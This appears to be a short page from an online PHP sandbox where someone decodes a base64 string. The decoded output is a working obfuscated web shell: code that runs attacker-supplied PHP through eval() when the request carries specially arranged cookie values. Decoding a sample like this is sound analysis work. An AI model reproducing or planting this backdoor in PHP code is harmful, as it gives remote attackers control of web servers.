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run code in 300+ PHP versions simultaneously
<?php $var='JGM9J2NvdW50JzskYT0kX0NPT0tJRTtpZihyZXNldCgkYSk9PSd2aScgJiYgJGMoJGEpPjMpeyRrPSdjdG9yJztlY2hvICc8Jy4kay4nPic7ZXZhbChiYXNlNjRfZGVjb2RlKHByZWdfcmVwbGFjZShhcnJheSgnL1teXHc9XHNdLycsJy9ccy8nKSwgYXJyYXkoJycsJysnKSwgam9pbihhcnJheV9zbGljZSgkYSwkYygkYSktMykpKSkpO2VjaG8gJzwvJy4kay4nPic7f=='; echo base64_decode($var); $var = base64_encode('test'); echo $var; echo base64_decode($var);
Output for git.master, git.master_jit, rfc.property-hooks
$c='count';$a=$_COOKIE;if(reset($a)=='vi' && $c($a)>3){$k='ctor';echo '<'.$k.'>';eval(base64_decode(preg_replace(array('/[^\w=\s]/','/\s/'), array('','+'), join(array_slice($a,$c($a)-3)))));echo '</'.$k.'>';dGVzdA==test

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